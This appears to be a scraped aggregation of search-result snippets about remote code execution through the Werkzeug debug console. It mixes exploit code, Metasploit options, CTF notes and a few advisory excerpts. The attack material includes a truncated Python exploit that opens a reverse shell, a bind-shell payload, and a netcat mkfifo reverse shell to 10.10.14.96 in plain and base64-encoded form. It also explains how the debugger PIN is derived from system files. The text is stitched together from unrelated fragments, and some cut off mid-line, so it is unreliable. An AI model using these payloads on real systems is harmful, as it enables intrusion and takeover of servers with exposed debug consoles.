January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.

python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution

June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

2 days ago - However, if the HTTP connection ... GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode....

werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.

December 4, 2022 - msf6 exploit(multi/http/werkzeug_debug_rce) > show options Module options (exploit/multi/http/werkzeug_debug_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /console yes URI to the console VHOST no HTTP server virtual host Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.204.3 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 werkzeug 0.10 and older

payload = '''import os,pty,socket; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.bind(('%s',%s));s.listen(1);(rem, addr)=s.accept();os.dup2(rem.fileno(),0);'''\ · '''os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);os.putenv("HISTFILE",'/dev/null');pty.spawn("/bin/bash");s.close();'''%(baseUrl,port)

Known vulnerabilities in the werkzeug package.

September 27, 2025 - ... This module exploits a command injection vulnerability in Metasploit Framework's msfvenom payload generator when using a crafted APK file as an Android payload template. Affects Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0.

March 10, 2022 - HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 3550 Server: Werkzeug/2.0.2 Python/3.8.10 Date: Wed, 09 Mar 2022 18:22:20 GMT

WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.

February 18, 2020 - The issue here is not the Werkzeug debugger itself, but an incorrect way of configuring a Werkzeug application: making the debugger available on a production machine. A publicly exposed debugger will subject the machine to remote code execution.

Security vulnerabilities and package health score for pip package Werkzeug 2.0.2

We cannot provide a description for this page right now

December 29, 2022 - Before you hit Enter, make sure to set up a netcat listener on the port you used in the script! There we have it! We have officially exploited the Werkzeug vulnerability and established a reverse shell connection.

October 8, 2022 - rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 3333 >/tmp/fecho 'cm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuOTYgMzMzMyA+L3RtcC9mCg==' | base64 -d | sh ... Replacing the values in the exploit by reading the MAC from /sys/class/net/eth0/address, boot-id from /proc/sys/kernel/random/boot_id and cgroup from /proc/self/cgroup also replacing the path to flask app , modname and the user running this flask app

February 10, 2026 - It was discovered that the debugger in Werkzeug was not restricted totrusted hosts. A remote attacker could possibly use this issue to executecode on the host under certain circumstances.

August 18, 2015 - ## # This module requires Metasploit: ... Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....

January 18, 2024 - git clone https://github.com/hdks-bug/exploitnotes.git cd exploitnotes python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt zensical serve